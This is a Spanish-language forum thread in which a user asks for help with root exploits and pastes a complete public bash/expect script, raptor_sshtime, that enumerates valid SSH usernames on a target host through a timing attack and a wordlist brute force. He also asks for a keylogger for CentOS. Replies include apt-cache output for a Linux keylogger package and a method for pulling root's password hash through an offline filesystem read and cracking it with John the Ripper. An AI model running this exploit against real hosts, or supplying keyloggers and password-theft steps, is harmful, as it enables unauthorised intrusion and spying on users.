Versión para imprimir
k buenos dias,, necesito un favor
algun superduro que me envie el procedimiento detallado para explotar vulnerabilidad de algunos de los programas propios de linux, desbordando el buffer de la pila, para cambiar la direccion de retorno y ejecutar la shellcode para conseguir privilegios de root, pero desde linea de comandos , con commandos de perl..
milllll gracias
CALANDOLO, cualquier programa no es vulnerable como para conseguir un desbordamiento de búfer, sólo algunos programas en determinadas versiones.
Si lo que quieres es aprender puedes buscar avisos de seguridad y exploits antiguos y las versiones afectadas.
Normalmente el mismo exploit te dice cómo ha de ser ejecutado.
Salu2
Una forma de conseguir el pass del root, es con windows.. bien facil, bajate algun programa que lea ext3 desde win(con un liveCD también se puede), esos no hacen caso a ningun permiso y se puede obtener con el John the Ripper el pass.
Se te complica a la hora de crackear el pass, imaginate si puso de pass "j8k6f4v9j" ufff nunca más lo vas a sacar xDD
Saludos,
Cypress
si quieres aprender sobre este tema buffer overflow, tienes qui un manual espero que te sirva, a mi me parece muy interesnate:
http://www.acis.org.co/fileadmin/Bas...20050615_0.pdf
Justo ésa es la esencia de mi nickCita:
Iniciado por Cypress
Salu2
la verdad es que podria ser una buena contraseña bastante dificil de adivinar. CHaoo
Sí. Una mejor:
O lo que es similiar:Código:pwgen -nc 50 1
Y si añadimos símbolos y caracteres especiales la cosa se complica.Código:cau8roo7pah6beaThiquaizieconahFooch2ohz7IeVopewei4
Pero advierto que el crackeo de contraseñas poco tiene que ver con el desbordamiento de búfer, y pot tanto, se sale del tema del hilo ;)
Salu2
Holas,,, muy buenos dias,,,, quien me ayuda con este exploit que voy a compilar y me genera cualquier cantidad de errores,,,
quie me lo revisa y lo compila,,,
un millon de gracias,,
aqui lo pego
#!/bin/bash
#
# $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $
#
# raptor_sshtime - [Open]SSH remote timing attack exploit
# Copyright (c) 2006 Marco Ivaldi <[email protected]>
#
# OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately
# sends an error message when a user does not exist, which allows remote
# attackers to determine valid usernames via a timing attack (CVE-2003-0190).
#
# OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions,
# and possibly under limited configurations, allows remote attackers to
# determine valid usernames via timing discrepancies in which responses take
# longer for valid usernames than invalid ones, as demonstrated by sshtime.
# NOTE: as of 20061014, it appears that this issue is dependent on the use of
# manually-set passwords that causes delays when processing /etc/shadow due to
# an increased number of rounds (CVE-2006-5229).
#
# This is a simple shell script based on expect meant to remotely analyze
# timing differences in sshd "Permission denied" replies. Depending on OpenSSH
# version and configuration, it may lead to disclosure of valid usernames.
#
# Usage example:
# [make sure the target hostkey has been approved before]
# ./sshtime 192.168.0.1 dict.txt
#
# Some vars
port=22
# Command line
host=$1
dict=$2
# Local functions
function head() {
echo ""
echo "raptor_sshtime - [Open]SSH remote timing attack exploit"
echo "Copyright (c) 2006 Marco Ivaldi <[email protected]>"
echo ""
}
function foot() {
echo ""
exit 0
}
function usage() {
head
echo "[make sure the target hostkey has been approved before]"
echo ""
echo "usage : ./sshtime <target> <wordlist>"
echo "example: ./sshtime 192.168.0.1 dict.txt"
foot
}
function notfound() {
head
echo "error : expect interpreter not found!"
foot
}
# Check if expect is there
expect=`which expect 2>/dev/null`
if [ $? -ne 0 ]; then
notfound
fi
# Input control
if [ -z "$2" ]; then
usage
fi
# Perform the bruteforce attack
head
for user in `cat $dict`
do
echo -ne "$user@$host\t\t"
(time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real
done
foot
ah,,, alguien que me regale un key logger bien bueno para linux centos
mi corre editado
este es el correo que uso para los foros ,, mi direccion seria es otra
¿No es eso un poco cómodo?
Salu2
Joder "un poco"...........
Por cierto, es un script en bash, así que es más que normal que te dé errores al compilar xD
Salu2
como dice j8 ^ leyendo tu post estaba punto de escribir lo mismo, pero j8 se me adelanto xD
pero para que no te vuelva a pasar lo del compilador o interprete, la forma de darte cuenta, es saber en qué lenguaje está programado.
- bue.. lo ideal seria entender el exploit :p -
En tu caso, salta a la luz por esto:
te está dando la ruta del interprete, bash.Código:#!/bin/bash
Código en Perl Python o PHP son todos interpretados,
Aunque existe activeperl.. o algo así, que se puede compilar.
En el caso de C que es un lenguaje compilado, basta ver las librerias importadas
cuando en un código ves algo que empieza con:
eso es C ^Código:#include <stdio.h>
o
#include <algo.h>
y bue.. más o menos esos son los lenguajes que vas a encontrar donde están echos los exploits.
Saludos.
ok,, muchas gracias,, pero trato de ejecutarlo asi:
sh exploit.sh IP remota dict.txt y tambien saca errores,,, o
./sshtime IP remota dict.txt y tampoco
el dict.txt puede ser un diccionario cualquiera?,, por que deproto ese es el
problema
de antemano mil gracias,,,
ah y regalenme por fa un keylogger bueno para linux centos 4.1
Cita:
Iniciado por CALONDOLO
Venga, te voy a ayudar con el KeyLogger: KeyLogger´s
Te aseguro que los que hay en esta web van muy bien, ademas hay para linux y muchos para Win
Un saludo
"errores" es algo impreciso. Algo como esto estaría mejor para depurar el problema:Cita:
Iniciado por CALONDOLO
Código:./sshtime 192.168.1.55 dict.txt
ssh: connect to host 192.168.1.55 port 22: Connection refused
Los keyloggers de fuentes abiertas ya se encargaron sus desarrolladores de regalártelos. Ahora te toca, como bien dice RaidMan, buscarlos.Cita:
Iniciado por CALONDOLO
lkm?
Código:t:~$ apt-cache search keylogger
lkl - userspace keylogger for x86 architecture
Salu2Código:Package: lkl
Priority: optional
Section: utils
Installed-Size: 124
Maintainer: Jean-Michel Kelbert <[email protected]>
Architecture: i386
Version: 0.1.1-1
Depends: libc6 (>= 2.3.2.ds1-21)
Filename: pool/main/l/lkl/lkl_0.1.1-1_i386.deb
Size: 10146
MD5sum: fed5f8c3a688287cfdc28a8e84237832
SHA1: 4f3e059d858918734c99c24ad18e12ca34e8d802
SHA256: b9885ee19fc35f9043eb8526c49b2c44fb6fa9d7c72fe971269d7e815f7e737b
Description: userspace keylogger for x86 architecture
LKL is a userspace keylogger that runs under Linux on the x86
architechture. LKL sniffs and logs everything that passes through the
hardware keyboard port (0x60). It translates keycodes to ASCII with a
keymap file.
Tag: hardware::input:keyboard, network::server, role::program
wooow no sabia que con apt podia buscar paquetes !! cada día me sorprendo más :) Gracias j8 :) :) :)
siento que me estoy perdiendo mucho de apt :(
Saludos.
apt busca en los repositorios incluídos en /etc/apt/sources.list. Pero también hace muchas otras cosas: mostrar descripciones, dependencias, versiones, etc.
Salu2Código:man apt